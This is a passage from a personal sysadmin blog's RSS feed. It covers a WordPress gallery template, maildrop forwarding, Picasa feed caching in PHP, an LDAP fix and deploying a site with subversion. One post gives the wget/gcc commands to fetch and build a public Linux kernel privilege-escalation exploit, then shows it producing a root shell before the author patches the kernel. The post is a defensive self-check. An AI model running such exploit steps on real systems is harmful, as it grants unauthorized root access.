&lt;p&gt;&lt;font face=&quot;courier new,courier,monospace&quot; style=&quot;color: #5a5a5a;&quot;&gt;&amp;lt;?php if (!defined (&#039;ABSPATH&#039;)) die (&#039;No direct access allowed&#039;); ?&amp;gt;&amp;lt;?php if (!empty ($gallery)) : ?&amp;gt;&lt;br /&gt;&amp;lt;script type=&amp;quot;text/javascript&amp;quot;&amp;gt;&lt;br /&gt;&amp;#160; jQuery.noConflict();&lt;br /&gt;&amp;#160; $(function(){&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; $(&amp;quot;#gallery1&amp;quot;).jFlip(600,300,{background:&amp;quot;transparent&amp;quot;,cornersTop:false,scale:&amp;quot;fit&amp;quot;});&lt;br /&gt;&amp;#160;&amp;#160; })&lt;br /&gt;&amp;lt;/script&amp;gt;&lt;br /&gt;&amp;lt;p&amp;gt;&amp;amp;nbsp;&amp;lt;/p&amp;gt;&lt;br /&gt;&amp;lt;center&amp;gt;&lt;br /&gt;&amp;lt;ul id=&amp;quot;gallery1&amp;quot;&amp;gt;&lt;br /&gt;&amp;#160;&amp;#160; &amp;lt;?php foreach ( $images as $image ) : ?&amp;gt;&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &amp;lt;li&amp;gt;&amp;lt;img src=&amp;quot;&amp;lt;?php echo $image-&amp;gt;imageURL ?&amp;gt;&amp;quot; /&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; &amp;lt;?php endforeach; ?&amp;gt;&lt;br /&gt;&amp;lt;/ul&amp;gt;&lt;br /&gt;&amp;lt;/center&amp;gt;&lt;br /&gt;&amp;lt;?php endif; ?&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;/p&gt; &lt;br /&gt;
&lt;p&gt;Please note the &#039;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;jQuery.noConflict()&lt;/font&gt;&#039;... please make sure it&#039;s there other wise it will drive you crazy &lt;img src=&quot;http://blog.adslweb.net/serendipity/templates/default/img/emoticons/sad.png&quot; alt=&quot;:-(&quot; style=&quot;display: inline; vertical-align: bottom;&quot; class=&quot;emoticon&quot; /&gt;&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;Now make sure the NextGen gallery plugin is active and make a page in WordPress with the following content:&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;&amp;#160;&lt;/p&gt; &lt;br /&gt;
&lt;p style=&quot;color: #5a5a5a;&quot;&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;[nggallery id=5 template=flippage]&lt;/font&gt;&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;&amp;#160;That&#039;s all &lt;img src=&quot;http://blog.adslweb.net/serendipity/templates/default/img/emoticons/smile.png&quot; alt=&quot;:-)&quot; style=&quot;display: inline; vertical-align: bottom;&quot; class=&quot;emoticon&quot; /&gt;&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;
&lt;p&gt;&lt;br /&gt;
&lt;p&gt;And the results can be checked &lt;a href=&quot;http://bit.ly/mv9W2k%20&quot; target=&quot;_blank&quot;&gt;here&lt;/a&gt;. &lt;br /&gt;&lt;/p&gt;&lt;br /&gt;
&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;&lt;/p&gt; 
    </content:encoded>

    <pubDate>Tue, 24 May 2011 18:20:00 +0200</pubDate>
    <guid isPermaLink="false">http://blog.adslweb.net/serendipity/article/285/guid</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by/3.0/</creativeCommons:license>
</item>
<item>
    <title>Use maildrop to forward a mail to another mail box</title>
    <link>http://blog.adslweb.net/serendipity/article/284/Use-maildrop-to-forward-a-mail-to-another-mail-box</link>
            <category>Linux/Unix/BSD</category>
            <category>Other...</category>
            <category>Work</category>
    
    <comments>http://blog.adslweb.net/serendipity/article/284/Use-maildrop-to-forward-a-mail-to-another-mail-box#comments</comments>
    <wfw:comment>http://blog.adslweb.net/serendipity/wfwcomment.php?cid=284</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://blog.adslweb.net/serendipity/rss.php?version=2.0&amp;type=comments&amp;cid=284</wfw:commentRss>
    

    <author>nospam@example.com (Pieter de Rijk)</author>
    <content:encoded>
    &lt;p&gt;I recently had the need to forward e-mail based on the from field to another mailbox. I know, it&#039;s possible with a simple &lt;font size=&quot;2&quot; face=&quot;courier new,courier,monospace&quot;&gt;.forward&lt;/font&gt; in your&lt;strong&gt;&lt;font size=&quot;2&quot; face=&quot;courier new,courier,monospace&quot;&gt; $HOME&lt;/font&gt;&lt;/strong&gt;, but that will forward &lt;strong&gt;all&lt;/strong&gt; the mail. &lt;img src=&quot;http://blog.adslweb.net/serendipity/templates/default/img/emoticons/sad.png&quot; alt=&quot;:-(&quot; style=&quot;display: inline; vertical-align: bottom;&quot; class=&quot;emoticon&quot; /&gt;&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;So after some further searching I end up with the following rule for your maildrop filter... it simply checks if the mail (in this example) is from&lt;font size=&quot;2&quot; face=&quot;courier new,courier,monospace&quot;&gt; &lt;a href=&quot;mailto:linus@mail.example.com&quot;&gt;linus@mail.example.com&lt;/a&gt;&lt;/font&gt;&amp;#160; and will forward it to &lt;font size=&quot;2&quot; face=&quot;courier new,courier,monospace&quot;&gt;&lt;a href=&quot;mailto:linuxbox@collector.example.com&quot;&gt;linuxbox@collector.example.com&lt;/a&gt;&lt;/font&gt;:&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;&lt;font face=&quot;Calibri, Verdana, Helvetica, Arial&quot;&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&lt;font size=&quot;2&quot; face=&quot;courier new,courier,monospace&quot;&gt;&lt;a href=&quot;wimvanvossen@gmail.com&quot;&gt;&lt;/a&gt;&lt;font size=&quot;1&quot;&gt;if ( /^From: .*linus@mail\.example\.com.*/ )&lt;br /&gt;{&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; dotlock &amp;quot;forward.lock&amp;quot; {&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; log &amp;quot;Forward mail&amp;quot;&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; to &amp;quot;|/usr/sbin/sendmail linuxbox@collector.example.com&amp;quot;&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; }&lt;br /&gt;}&lt;/font&gt;&lt;/font&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;And that&#039;s all you need to put add to your&lt;font face=&quot;Calibri, Verdana, Helvetica, Arial&quot;&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&lt;font size=&quot;1&quot;&gt; &lt;strong&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;$HOME/.mailfilter&lt;/font&gt;&lt;/strong&gt; &lt;/font&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt; 
    </content:encoded>

    <pubDate>Thu, 11 Nov 2010 14:20:54 +0100</pubDate>
    <guid isPermaLink="false">http://blog.adslweb.net/serendipity/article/284/guid</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by/3.0/</creativeCommons:license>
</item>
<item>
    <title>Use Picasa RSS Feed to show album on my own website</title>
    <link>http://blog.adslweb.net/serendipity/article/283/Use-Picasa-RSS-Feed-to-show-album-on-my-own-website</link>
            <category>Linux/Unix/BSD</category>
            <category>Other...</category>
    
    <comments>http://blog.adslweb.net/serendipity/article/283/Use-Picasa-RSS-Feed-to-show-album-on-my-own-website#comments</comments>
    <wfw:comment>http://blog.adslweb.net/serendipity/wfwcomment.php?cid=283</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://blog.adslweb.net/serendipity/rss.php?version=2.0&amp;type=comments&amp;cid=283</wfw:commentRss>
    

    <author>nospam@example.com (Pieter de Rijk)</author>
    <content:encoded>
    &lt;p&gt;Recently I&#039;ve moved the web albums of my kids from my own webserver to Google Picasa. But... I wanted to keep my nice javascript based carousel &lt;img src=&quot;http://blog.adslweb.net/serendipity/templates/default/img/emoticons/smile.png&quot; alt=&quot;:-)&quot; style=&quot;display: inline; vertical-align: bottom;&quot; class=&quot;emoticon&quot; /&gt;&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;In the current code I already had some PHP-code that creates the content of the carousel using an array. Now I added two new features in the &#039;website&#039;.&lt;/p&gt; &lt;br /&gt;
&lt;ol&gt; &lt;br /&gt;
&lt;li&gt;Config files&lt;/li&gt; &lt;br /&gt;
&lt;li&gt;Downloading the RSS (XML) feed and cache it&lt;/li&gt; &lt;br /&gt;
&lt;li&gt;Extract the URLs with the photos from the XML feed.&lt;/li&gt; &lt;br /&gt;
&lt;/ol&gt; &lt;br /&gt;
&lt;p&gt;&lt;strong&gt;1. Config files&lt;/strong&gt;&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;One &#039;global&#039; config:&lt;/p&gt; &lt;br /&gt;
&lt;blockquote&gt; &lt;br /&gt;
&lt;p&gt; &lt;font size=&quot;2&quot; face=&quot;courier new,courier,monospace&quot;&gt;&amp;lt;?php&lt;br /&gt;&amp;#160;cacheLocation=&amp;quot;/tmp/picasa-cache/&amp;quot;;&lt;br /&gt;&amp;#160;$cacheTTL = 60;&lt;br /&gt;?&amp;gt;&lt;/font&gt;&lt;br /&gt;&lt;/p&gt; &lt;br /&gt;
&lt;/blockquote&gt; &lt;br /&gt;
&lt;p&gt;Per album I&#039;ve a config.php in that directory, so for example we&#039;ve the following content:&lt;/p&gt; &lt;br /&gt;
&lt;blockquote&gt;&lt;font size=&quot;2&quot; face=&quot;courier new,courier,monospace&quot;&gt;&amp;#160;&amp;lt;?php&lt;/font&gt;&lt;font size=&quot;2&quot;&gt;&lt;br /&gt;&lt;/font&gt;&lt;font size=&quot;2&quot; face=&quot;courier new,courier,monospace&quot;&gt;&amp;#160; $xmlURL=&#039;http://picasaweb.google.com/data/feed/base/user/k/id/123456970123ASBD1?alt=rss&lt;/font&gt;&lt;font size=&quot;2&quot;&gt;&#039;;&lt;br /&gt;&lt;/font&gt;&lt;font size=&quot;2&quot; face=&quot;courier new,courier,monospace&quot;&gt;&amp;#160; $AlbumDescription=&amp;quot;Rick de Rijk&amp;quot;;&lt;/font&gt;&lt;font size=&quot;2&quot;&gt;&lt;br /&gt;&lt;/font&gt;&lt;font size=&quot;2&quot; face=&quot;courier new,courier,monospace&quot;&gt;&amp;#160; $PicasaURL=&amp;quot;http://picasaweb.google.com/paderijk/Rick&amp;quot;;&lt;/font&gt;&lt;font size=&quot;2&quot;&gt;&lt;br /&gt;&lt;/font&gt;&lt;font size=&quot;2&quot; face=&quot;courier new,courier,monospace&quot;&gt;&amp;#160; $ShortName=&amp;quot;rick&amp;quot;;&lt;/font&gt;&lt;font size=&quot;2&quot;&gt;&lt;br /&gt;&lt;/font&gt;&lt;font size=&quot;2&quot; face=&quot;courier new,courier,monospace&quot;&gt;&amp;#160; $xmlFile=&amp;quot;$cacheLocation/$ShortName.xml&amp;quot;;&lt;/font&gt;&lt;font size=&quot;2&quot;&gt;&lt;br /&gt;&lt;/font&gt;&lt;font size=&quot;2&quot; face=&quot;courier new,courier,monospace&quot;&gt;?&amp;gt;&lt;/font&gt;&lt;br /&gt;&lt;/blockquote&gt; &lt;br /&gt;
&lt;p&gt;&lt;strong&gt;2. Download the RSS (XML) feed and cache it:&lt;/strong&gt;&lt;/p&gt; &lt;br /&gt;
&lt;blockquote&gt;&lt;font size=&quot;2&quot; face=&quot;courier new,courier,monospace&quot;&gt;&amp;lt;?php&lt;/font&gt;&lt;font size=&quot;2&quot;&gt;&lt;br /&gt;&lt;/font&gt;&lt;font size=&quot;2&quot; face=&quot;courier new,courier,monospace&quot;&gt;# Code that takes care of the caching&lt;/font&gt;&lt;font size=&quot;2&quot;&gt;&lt;br /&gt;&lt;/font&gt;&lt;font size=&quot;2&quot; face=&quot;courier new,courier,monospace&quot;&gt;#&lt;/font&gt;&lt;font size=&quot;2&quot;&gt;&lt;br /&gt;&lt;/font&gt;&lt;font size=&quot;2&quot; face=&quot;courier new,courier,monospace&quot;&gt;if (!(file_exists($xmlFile) &amp;amp;&amp;amp;&lt;/font&gt;&lt;font size=&quot;2&quot;&gt;&lt;br /&gt;&lt;/font&gt;&lt;font size=&quot;2&quot; face=&quot;courier new,courier,monospace&quot;&gt;&amp;#160;&amp;#160;&amp;#160; (time() - $cacheTTL &amp;lt; filemtime($xmlFile))&lt;/font&gt;&lt;font size=&quot;2&quot;&gt;&lt;br /&gt;&lt;/font&gt;&lt;font size=&quot;2&quot; face=&quot;courier new,courier,monospace&quot;&gt;&amp;#160; )) {&lt;/font&gt;&lt;font size=&quot;2&quot;&gt;&lt;br /&gt;&lt;/font&gt;&lt;font size=&quot;2&quot; face=&quot;courier new,courier,monospace&quot;&gt;&amp;#160;&amp;#160;&amp;#160; //unlink($xmlFile);&lt;/font&gt;&lt;font size=&quot;2&quot;&gt;&lt;br /&gt;&lt;/font&gt;&lt;font size=&quot;2&quot; face=&quot;courier new,courier,monospace&quot;&gt;&amp;#160;&amp;#160;&amp;#160; $data = file_get_contents($xmlURL);&lt;/font&gt;&lt;font size=&quot;2&quot;&gt;&lt;br /&gt;&lt;/font&gt;&lt;font size=&quot;2&quot; face=&quot;courier new,courier,monospace&quot;&gt;&amp;#160;&amp;#160;&amp;#160; $f = file_put_contents($xmlFile, $data);&lt;/font&gt;&lt;font size=&quot;2&quot;&gt;&lt;br /&gt;&lt;/font&gt;&lt;font size=&quot;2&quot; face=&quot;courier new,courier,monospace&quot;&gt;&amp;#160; }&lt;/font&gt;&lt;font size=&quot;2&quot;&gt;&lt;br /&gt;&lt;/font&gt;&lt;font size=&quot;2&quot; face=&quot;courier new,courier,monospace&quot;&gt;?&amp;gt;&lt;/font&gt;&lt;br /&gt;&lt;/blockquote&gt; &lt;br /&gt;
&lt;p&gt;&lt;strong&gt;3. Extract the URLs with the photos from the feed&lt;/strong&gt;&lt;/p&gt; &lt;br /&gt;
&lt;blockquote&gt;&lt;font size=&quot;2&quot; face=&quot;courier new,courier,monospace&quot;&gt;&amp;lt;?php&lt;/font&gt;&lt;font size=&quot;2&quot;&gt;&lt;br /&gt;&lt;/font&gt;&lt;font size=&quot;2&quot; face=&quot;courier new,courier,monospace&quot;&gt;$foto_array = array();&lt;/font&gt;&lt;font size=&quot;2&quot;&gt;&lt;br /&gt;&lt;/font&gt;&lt;font size=&quot;2&quot; face=&quot;courier new,courier,monospace&quot;&gt;$xml = new SimpleXMLElement($xmlFile, null, true);&lt;/font&gt;&lt;font size=&quot;2&quot;&gt;&lt;br /&gt;&lt;br /&gt;&lt;/font&gt;&lt;font size=&quot;2&quot; face=&quot;courier new,courier,monospace&quot;&gt;$urls = $xml-&amp;gt;xpath(&amp;quot;channel/item/enclosure/@url&amp;quot;);&lt;/font&gt;&lt;font size=&quot;2&quot;&gt;&lt;br /&gt;&lt;br /&gt;&lt;/font&gt;&lt;font size=&quot;2&quot; face=&quot;courier new,courier,monospace&quot;&gt;foreach ($urls as $image_url)&lt;/font&gt;&lt;font size=&quot;2&quot;&gt;&lt;br /&gt;&lt;/font&gt;&lt;font size=&quot;2&quot; face=&quot;courier new,courier,monospace&quot;&gt;{&lt;/font&gt;&lt;font size=&quot;2&quot;&gt;&lt;br /&gt;&lt;/font&gt;&lt;font size=&quot;2&quot; face=&quot;courier new,courier,monospace&quot;&gt;&amp;#160; array_push($foto_array, $image_url);&lt;/font&gt;&lt;font size=&quot;2&quot;&gt;&lt;br /&gt;&lt;/font&gt;&lt;font size=&quot;2&quot; face=&quot;courier new,courier,monospace&quot;&gt;}&lt;/font&gt;&lt;font size=&quot;2&quot;&gt;&lt;br /&gt;&lt;/font&gt;&lt;font size=&quot;2&quot; face=&quot;courier new,courier,monospace&quot;&gt;?&amp;gt;&lt;/font&gt;&lt;br /&gt;&lt;/blockquote&gt; &lt;br /&gt;
&lt;p&gt;That&#039;s all &lt;img src=&quot;http://blog.adslweb.net/serendipity/templates/default/img/emoticons/smile.png&quot; alt=&quot;:-)&quot; style=&quot;display: inline; vertical-align: bottom;&quot; class=&quot;emoticon&quot; /&gt;&lt;br /&gt;&lt;/p&gt; 
    </content:encoded>

    <pubDate>Tue, 19 Oct 2010 22:23:25 +0200</pubDate>
    <guid isPermaLink="false">http://blog.adslweb.net/serendipity/article/283/guid</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by/3.0/</creativeCommons:license>
</item>
<item>
    <title>The Linux Kernel exploit - become root by running 32bit code on a 64bit machine</title>
    <link>http://blog.adslweb.net/serendipity/article/282/The-Linux-Kernel-exploit-become-root-by-running-32bit-code-on-a-64bit-machine</link>
            <category>Linux/Unix/BSD</category>
            <category>Security</category>
            <category>System Op stuff</category>
            <category>Work</category>
    
    <comments>http://blog.adslweb.net/serendipity/article/282/The-Linux-Kernel-exploit-become-root-by-running-32bit-code-on-a-64bit-machine#comments</comments>
    <wfw:comment>http://blog.adslweb.net/serendipity/wfwcomment.php?cid=282</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://blog.adslweb.net/serendipity/rss.php?version=2.0&amp;type=comments&amp;cid=282</wfw:commentRss>
    

    <author>nospam@example.com (Pieter de Rijk)</author>
    <content:encoded>
    &lt;p&gt;A lot of discussion is about one of the last kernel exploits... the one that you can become root using 32bit code on a 64bit machine. So I wanted to know if I&#039;m vulnerable as well... just wanted to know how it works &lt;img src=&quot;http://blog.adslweb.net/serendipity/templates/default/img/emoticons/smile.png&quot; alt=&quot;:-)&quot; style=&quot;display: inline; vertical-align: bottom;&quot; class=&quot;emoticon&quot; /&gt;&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;So I simply did (as normal user) on a vulnerable version of the Linux kernel on CentOS 5.5:&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;$ &lt;strong style=&quot;color: #ff1010;&quot;&gt;mkdir /tmp/expl&lt;/strong&gt;&lt;br /&gt;$ &lt;strong style=&quot;color: #ff1010;&quot;&gt;wget -O /tmp/expl/expl.c http://www.seclists.org/fulldisclosure/2010/Sep/att-268/ABftw_c.bin&lt;/strong&gt;&lt;br /&gt;$ &lt;strong style=&quot;color: #ff1010;&quot;&gt;gcc -m32 -o /tmp/expl/expl.exe /tmp/expl/expl.c&lt;/strong&gt;&lt;/font&gt;&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;Now run the binary:&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;[pieter@testbox ~]$ &lt;strong style=&quot;color: #ff1010;&quot;&gt;whoami&lt;/strong&gt;&lt;br /&gt;pieter&lt;br /&gt;[pieter@testbox ~]$ &lt;strong style=&quot;color: #ff1010;&quot;&gt;/tmp/expl/expl.exe&lt;/strong&gt;&lt;br /&gt;Ac1dB1tCh3z VS Linux kernel 2.6 kernel 0d4y&lt;br /&gt;$$$ Kallsyms +r&lt;br /&gt;$$$ K3rn3l r3l3as3: 2.6.18-128.7.1.el5&lt;br /&gt;??? Trying the F0PPPPPPPPPPPPPPPPpppppppppp_____ m3th34d&lt;br /&gt;$$$ L00k1ng f0r kn0wn t4rg3tz..&lt;br /&gt;$$$ c0mput3r 1z aqu1r1ng n3w t4rg3t...&lt;br /&gt;$$$ selinux_ops-&amp;gt;ffffffff8030d360&lt;br /&gt;$$$ dummy_security_ops-&amp;gt;ffffffff80496c00&lt;br /&gt;$$$ capability_ops-&amp;gt;ffffffff8030ec20&lt;br /&gt;$$$ selinux_enforcing-&amp;gt;ffffffff80499960&lt;br /&gt;$$$ audit_enabled-&amp;gt;ffffffff80485124&lt;br /&gt;$$$ Bu1ld1ng r1ngzer0c00l sh3llc0d3 - F0PZzzZzZZ/LSD(M) m3th34d&lt;br /&gt;$$$ Prepare: m0rn1ng w0rk0ut b1tch3z&lt;br /&gt;$$$ Us1ng st4nd4rd s3ash3llz&lt;br /&gt;&lt;span style=&quot;color: #ff1010; background-color: #ffff4c;&quot;&gt;$$$ 0p3n1ng th3 m4giq p0rt4l&lt;/span&gt;&lt;br style=&quot;color: #ff1010; background-color: #ffff4c;&quot; /&gt;&lt;span style=&quot;color: #ff1010; background-color: #ffff4c;&quot;&gt;$$$ bl1ng bl1ng n1gg4 :PppPpPPpPPPpP&lt;/span&gt;&lt;br /&gt;sh-3.2# &lt;strong style=&quot;color: #ff1010;&quot;&gt;whoami&lt;/strong&gt;&lt;br /&gt;&lt;strong style=&quot;color: #ff1010;&quot;&gt;root&lt;/strong&gt;&lt;br /&gt;sh-3.2#&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;Well... I don&#039;t like that... so... update the kernel, reboot and check again!&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;[pieter@testbox ~]$ &lt;strong style=&quot;color: #ff1010;&quot;&gt;whoami&lt;/strong&gt;&lt;br /&gt;pieter&lt;br /&gt;[pieter@testbox ~]$ &lt;strong style=&quot;color: #ff1010;&quot;&gt;/tmp/expl/expl.exe&lt;/strong&gt;&lt;br /&gt;Ac1dB1tCh3z VS Linux kernel 2.6 kernel 0d4y&lt;br /&gt;$$$ Kallsyms +r&lt;br /&gt;$$$ K3rn3l r3l3as3: 2.6.18-194.17.1.el5&lt;br /&gt;??? Trying the F0PPPPPPPPPPPPPPPPpppppppppp_____ m3th34d&lt;br /&gt;$$$ L00k1ng f0r kn0wn t4rg3tz..&lt;br /&gt;$$$ c0mput3r 1z aqu1r1ng n3w t4rg3t...&lt;br /&gt;$$$ selinux_ops-&amp;gt;ffffffff80327ac0&lt;br /&gt;$$$ dummy_security_ops-&amp;gt;ffffffff804b9540&lt;br /&gt;$$$ capability_ops-&amp;gt;ffffffff80329380&lt;br /&gt;$$$ selinux_enforcing-&amp;gt;ffffffff804bc2a0&lt;br /&gt;$$$ audit_enabled-&amp;gt;ffffffff804a7124&lt;br /&gt;$$$ Bu1ld1ng r1ngzer0c00l sh3llc0d3 - F0PZzzZzZZ/LSD(M) m3th34d&lt;br /&gt;$$$ Prepare: m0rn1ng w0rk0ut b1tch3z&lt;br /&gt;$$$ Us1ng st4nd4rd s3ash3llz&lt;br /&gt;$$$ 0p3n1ng th3 m4giq p0rt4l&lt;br /&gt;&lt;span style=&quot;color: #ff1010; background-color: #ffff4c;&quot;&gt;!!! y0u fuq1ng f41l. g3t th3 fuq 0ut!&lt;/span&gt;&lt;br /&gt;[pieter@testbox ~]$&lt;/font&gt;&lt;/p&gt; &lt;br /&gt;
&lt;p&gt; &lt;/p&gt; 
    </content:encoded>

    <pubDate>Wed, 13 Oct 2010 08:30:14 +0200</pubDate>
    <guid isPermaLink="false">http://blog.adslweb.net/serendipity/article/282/guid</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by/3.0/</creativeCommons:license>
</item>
<item>
    <title>Fixed LDAP after upgrading from CentOS 5.4 to 5.5</title>
    <link>http://blog.adslweb.net/serendipity/article/281/Fixed-LDAP-after-upgrading-from-CentOS-5.4-to-5.5</link>
            <category>Linux/Unix/BSD</category>
            <category>System Op stuff</category>
    
    <comments>http://blog.adslweb.net/serendipity/article/281/Fixed-LDAP-after-upgrading-from-CentOS-5.4-to-5.5#comments</comments>
    <wfw:comment>http://blog.adslweb.net/serendipity/wfwcomment.php?cid=281</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://blog.adslweb.net/serendipity/rss.php?version=2.0&amp;type=comments&amp;cid=281</wfw:commentRss>
    

    <author>nospam@example.com (Pieter de Rijk)</author>
    <content:encoded>
    &lt;p&gt;Some months ago I upgraded my CentOS servers from version 5.4 to 5.5. One of these servers were running LDAP Master and LDAP Slave as playground. Although after the upgrade to CentOS 5.5 it was broken, but due to other priorities I didn&#039;t had a change to fix it.&amp;#160;&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;On my systems I enabled TLS to communicate to LDAP-servers and also enabled kerberos. So this results in a modified &lt;strong&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;/etc/sysconfig/ldap&lt;/font&gt;&lt;/strong&gt;:&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;&lt;font face=&quot;courier new,courier,monospace&quot; size=&quot;1&quot;&gt;# Enable Kerberos&lt;br /&gt;export KRB5_KTNAME=&amp;quot;FILE:/etc/openldap/ldap.keytab&amp;quot;&lt;/font&gt;&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;But I noticed that the RPM installed a new version of that, although with the extension &lt;strong&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;.rpmnew&lt;/font&gt;&lt;/strong&gt;. So after applying the changes that were in the .rpmnew file and when I set&lt;font face=&quot;courier new,courier,monospace&quot;&gt; SLAPD_LDAPS&lt;/font&gt; and &lt;font face=&quot;courier new,courier,monospace&quot;&gt;SLAPD_LDAPI&lt;/font&gt; to &amp;quot;yes&amp;quot; I end up with the following content:&lt;br /&gt;&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;&lt;font face=&quot;courier new,courier,monospace&quot; size=&quot;1&quot;&gt;# Parameters to ulimit called right before starting slapd&lt;br /&gt;# - use this to change system limits for slapd&lt;br /&gt;ULIMIT_SETTINGS=&lt;br /&gt;&lt;br /&gt;# How long to wait between sending slapd TERM and KILL&lt;br /&gt;# signals when stopping slapd by init script&lt;br /&gt;# - format is the same as used when calling sleep&lt;br /&gt;STOP_DELAY=3s&lt;br /&gt;&lt;br /&gt;# By default only listening on ldap:/// is turned on.&lt;br /&gt;# If you want to change listening options for slapd,&lt;br /&gt;# set following three variables to yes or no&lt;br /&gt;SLAPD_LDAP=yes&lt;br /&gt;SLAPD_LDAPS=yes&lt;br /&gt;SLAPD_LDAPI=yes&lt;br /&gt;export KRB5_KTNAME=&amp;quot;FILE:/etc/openldap/ldap.keytab&amp;quot;&lt;/font&gt;&lt;br /&gt;&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;And guess what... It works again &lt;img src=&quot;http://blog.adslweb.net/serendipity/templates/default/img/emoticons/smile.png&quot; alt=&quot;:-)&quot; style=&quot;display: inline; vertical-align: bottom;&quot; class=&quot;emoticon&quot; /&gt;&lt;br /&gt;&lt;/p&gt; 
    </content:encoded>

    <pubDate>Mon, 04 Oct 2010 07:19:28 +0200</pubDate>
    <guid isPermaLink="false">http://blog.adslweb.net/serendipity/article/281/guid</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by/3.0/</creativeCommons:license>
</item>
<item>
    <title>use subversion to publish websites</title>
    <link>http://blog.adslweb.net/serendipity/article/280/use-subversion-to-publish-websites</link>
    
    <comments>http://blog.adslweb.net/serendipity/article/280/use-subversion-to-publish-websites#comments</comments>
    <wfw:comment>http://blog.adslweb.net/serendipity/wfwcomment.php?cid=280</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://blog.adslweb.net/serendipity/rss.php?version=2.0&amp;type=comments&amp;cid=280</wfw:commentRss>
    

    <author>nospam@example.com (Pieter de Rijk)</author>
    <content:encoded>
    &lt;p&gt;Sometimes I&#039;m really surprised about myself... especially how lazy I am. &lt;img src=&quot;http://blog.adslweb.net/serendipity/templates/default/img/emoticons/smile.png&quot; alt=&quot;:-)&quot; style=&quot;display: inline; vertical-align: bottom;&quot; class=&quot;emoticon&quot; /&gt;&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;I&#039;m currently playing around with one of my private websites, and to improve developing I decided to use subversion. So far so good, but I wanted that the committed subversion code was automatically online on the webserver. So I did the following very simple trick.&lt;/p&gt; &lt;br /&gt;
&lt;p&gt; First I check out the code (subtree) from the subversion server (which is using https):&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;$ cd /sites&lt;br /&gt;$ mv dev.adslweb.net{,-backup}&lt;br /&gt;$ svn co https://svn.adslweb.net/svn/websites/dev.adslweb.net&lt;/font&gt;&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;Next step was to commit the current content of the website into subversion:&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;$ cd /sites/dev.adslweb.net&lt;br /&gt;$ cp -Rv /sites/dev.adslweb.net-backup/*&amp;#160; ./&lt;br /&gt;$ svn add&amp;#160;*&lt;br /&gt;$ svn commit -m &amp;quot;Initial commit of ADSLWEB.net dev env&amp;quot;&lt;/font&gt;&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;Now download the simple script I created for making sure that subversion doesn&#039;t fire off twice for updating the same tree.&lt;/p&gt; &lt;br /&gt;
&lt;p&gt; &lt;a href=&quot;www.xs4all.nl/%7Epaderijk/pics/svn-update.sh&quot; target=&quot;_blank&quot;&gt;Download svn-update.sh via this link&lt;/a&gt;.&lt;br /&gt;&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;So something like this:&lt;br /&gt;&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;$ mkdir ~/scripts/&lt;br /&gt;$ cd ~/scripts&lt;br /&gt;$ wget http://www.xs4all.nl/~paderijk/pics/svn-update.sh&lt;br /&gt;$ chmod 700 svn-update.sh&lt;/font&gt;&lt;br /&gt;&lt;/p&gt; &lt;br /&gt;
